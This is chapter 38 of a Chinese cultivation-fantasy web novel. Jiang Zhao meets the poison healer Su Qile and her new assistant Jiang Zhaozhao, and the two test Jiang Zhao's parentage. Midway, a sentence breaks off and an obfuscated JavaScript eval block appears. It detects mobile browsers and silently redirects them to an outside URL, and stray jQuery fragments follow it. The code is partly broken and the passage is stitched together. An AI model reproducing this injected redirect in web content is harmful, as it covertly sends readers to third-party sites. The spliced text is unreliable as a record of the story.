38.第三十八章

“老爷,老爷,小姐不见了!”


江仲楷已经在家休息了好几天,自从先前被季知节带去审判庭,他是整宿整宿地睡不着。可偏偏出门后又崴了脚,心力不济导致灵力上涌,短时间内都需要静养。


近日府中大部分事务都由周雯桑,也就是江仲楷的续弦处理。他已经很长时间没听到下人的通报了,先前他想让江昭昭改名不成,之后江昭昭也就没再出现在他的面前。


小厮神色慌张,说话甚至有点前言不搭后语:“夫人,小姐……小姐她……”


“慢点说,哪个小姐?”江仲楷不觉得江昭昭会叛逆到离家出走,所以直到此刻都以为小厮说的是江家哪个旁支的子女。


“小姐给夫人留了一封信就消失了,夫人为此放下手头所有事务,去找小姐了。”自从出了改名不成的事儿,江府大部分人都不知道该如何称呼江昭昭,所以也就不约而同地用小姐指代。


“随她去吧。”


“离了江府,她过不了顺风顺水的日子也就知道回来了。”


江仲楷觉得叛逆如姜照,整个天下也就独一份了。至于江昭昭,她自小看见他都不怎么说话,更别说表达负面的情绪了。也就是周雯桑沉不住气,她越是找越是劝,江昭昭越是不愿意回来。


“这些小事别再通知我了。”江仲楷指着屏风后的字画,“我这儿还有更重要的事得交给你去做。”


“续流的死,必有蹊跷。”





“宿栖乐?”


姜照对这个名字有印象,青云榜前十的天之骄子,极少出现在众人面前,擅长用毒,医修院的绝世天才。


她听说过这奇女子的事迹,曾经用一无药可救的毒药让一个将死之人多活了十年。


“请她帮我恢复记忆吗?”


姜照指着自己的指头都僵硬起来,事情已经发展到这个地步了吗?如果真的让那个传说中的宿栖乐来治疗,指不定就让姜照成了她试毒的试验品。


“是,先前跟谢明月赌输了,我不仅没拿出赌注,还把你吓晕了过去。”帝疆对姜照晕倒在他面前的样子还历历在目。


哪怕姜照后面解释是她修行过度,帝疆依然觉得姜照突然晕倒和自己脱不开关系。


他那天原本还想自己暂时拿不出赌注可怎么办,现在好了,宿栖乐刚好欠他一个人情,帝疆决定借花献佛,拜托就不见人的宿栖乐帮助姜照解决失忆的问题。


“帝疆说的有道理。”季知节已经把能让姜照看的案宗都复制了一份,仅靠那些东西是无论如何都不能让她完全脱罪的。


“现在最好的办法就是让你想起过去到底发生了什么,我们调查的方向也会更明晰。”


“更何况,让你失忆的丹药上市后由于副作用过大一度被明令禁止,现在只在黑市流通。”


被用来试药的姜照,更是不知道承受了何等痛苦。


宿栖乐此人与姜照想象的不同,她以为一个擅使毒的医修应该看起来一副邪修的模样。


不过……


“眼睛很漂亮,可惜不能挖下来珍藏。”宿栖乐的声音很甜,像是熟透了的果子,甜到姜照有一瞬间的牙酸。


跟青云榜的其他人比起来,宿栖乐看起来年纪很小,要是背个小包,姜照都可能误以为她是小孩。


“别用看小孩的眼神看我。”宿栖乐随手给姜照递了杯透明的液体,“我这是年纪小不懂事的时候用自己试毒,这才不怎么长个子了。”


姜照放下杯子:“好热,你给我喝了什么?”


“开水,想喝什么自己加。”宿栖乐拿走杯子,找到原本放它的柜子,仔细擦拭后又确认了标签才稳稳地放进去。


“开玩笑的,那是我研究出来的观脉灵剂。饮用后因为灵力涌动却无法释放,故而燥热。”


“旁人看不出别的什么,但在我眼里,你的灵力涌动时形成银辉痕迹,让我能更加清楚地看到你的状况并研究。”


姜照低头,果然看见宿栖乐的眼中有银辉流转,最后形成她看不懂的脉络。姜照只懂些简单的急救法,故而完全不知道宿栖乐现在在看什么。


“还好你是现在来的。”宿栖乐闭上眼睛,几秒后她的眼睛就恢复了常态。


闻言,姜照心下也放松了不少:“你是说,我的状况不严重?”


“我的意思是,我最近刚好找到一个助理。”宿栖乐拍拍手,让后面整理药草的人赶紧出来。


“不然的话,你这么严重的情况,我一个人还真是忙不过来。”


几道丁零当啷的响声过后,姜照看见一张熟悉的面容。不过衣服朴素了很多,手上还有不知道哪儿蹭到的泥土,昔日几乎和姜照站在对立面的江昭昭,就这么出现在了她的眼前。


“早知师傅要治的人是你,我便不来了。”江昭昭话是这么说,嘴角却微微上扬。


她很久没有见到姜照了,只知道姜照先是赢了微生律,名震内院,又因为劈山一事险些被处死。


“你怎么在这?”姜照知道江昭昭对自己没有恶意,反而帮了她许多,故而声音平静,没有太多感情。


宿栖乐往后退一步,得踮起脚才能拍到江昭昭的肩膀:“她现在还只是我的助手,等她精进点,出去说是我的弟子也不丢人。”


对于父亲,江昭昭并没有太多想说的。可一直在找寻她的母亲,她也不知道该怎么去面对。世界广阔灿烂,她不知道自己该去往何处,但江昭昭知道,江家不是她和母亲的归宿。


江仲楷之所以得到周雯桑离府的消息,不止是因为她想找到昭昭。


更因为女儿留给她那封信里的最后一句话是——


“母亲,您所做的一切,都遵从了本心吗?”


宿栖乐目前住在一无名山谷,草药茂盛,常人很难找到山谷的入口,更别说找到她所居的小屋了。


正常人大概是耐不住寂寞,哪怕有鸟鸣水声相伴,过不了多久就会觉得枯燥难捱。但宿栖乐的大部分时间,都在这座山谷里。


“又要放血?”


姜照从灵泉里出来,感觉浑身轻松,明明乍一看没什么变化,她却觉得从里到外的污垢都


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645353|170702||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


祛除了。


江昭昭:“别说的那么难听,每次只要你几滴血。”


“你最好配合一点,学院大考在即,你一没冲青云榜,二在泛修院,可别到最后连和其他学院的人比试的资格都没有。”


宿栖乐此人说一不二,若是治不好姜照,不能让她恢复记忆,是绝不可能放她离开山谷的。


起初姜照觉得待在这山谷里也不错,过几天她发现宿栖乐除了治疗的时候都不爱说话,江昭昭好像也受了宿栖乐的影响,一有时间就抱着草药书。


“你是怎么拜她为师的?”姜照原本没指望江昭昭会回答,但对方愣神片刻,竟放下了手中的动作。


“说来话长。”


江昭昭突然走到姜照面前,放大的面容让她止不住后退。直到把姜照整张脸都看了一遍,江昭昭才冷不丁开口:“你有没有想过,你长得既不像父亲,也不像你的生母?”


姜照无法回答,因为她根本没有关于母亲姜颂的记忆,对江仲楷也仅有那么几面的印象。不过这么想来,她的面貌的确不似江仲楷。


“我曾经也怀疑,是不是因为你非他亲生,所以他才想把你赶走?”江昭昭只是以为姜照或许是像她的亲生父亲。


毕竟江仲楷是靠着姜颂才一步步走到这天的,发现姜照不是他的女儿时,他不能忍也得忍。可一旦姜颂死了,姜照这个年岁不大的小女孩也掀不出什么风浪,江仲楷自然想做什么都行。


“那我得找个机会回江家一趟。”姜照倒是不在意自己究竟是不是江仲楷的女儿,只是姜颂的遗物或许还在江家。


她上一次家谱除名的时候,只大致逛了一圈江家,并没有找到自己和母亲过去的居所。


“还有你勾结闻人皇室一事。”江昭昭是通过观天鉴才知道这么件事的,“在此之前,父亲并不知道你的罪名是这个。”


“他把你留在屋里那个带血的玉佩交给郑续流,好让你获罪入狱,方便与你断绝关系。”


“但也是季铁律找上门,他才知道你被关进山牢的理由是勾结闻人皇室。”


“看得出来,他要真是有那个本事,也不至于靠别人才能让江家在中城站稳脚跟。”姜照记得卷宗记录里,江仲楷的说法是——


“我在姜照房间的桌子上看见这块带血的玉佩,觉得不对这才送至审判庭。”


除非她是个傻子,不然姜照怎么会把那么重要的证据直接明晃晃地放在桌子上呢?


但江仲楷的确没有说谎。


“这件事我知道的就这么多。”


江昭昭举起装有姜照血液的透明瓶子:“我有个办法,能知道你是不是他亲生的。”


宿栖乐在山谷里有很多研究成果,江昭昭带着姜照走到了那间上锁的地下室,里面味道很清爽,大约是经常打扫的。


江昭昭不知从哪弄到了几滴江仲楷的血,和姜照的血液一同滴在了法阵中央。光芒闪过,法阵上的文字逐渐上升,萤火般的星点冲着她们想面门而来。


结果,尽在眼前。


“你们在做什么?”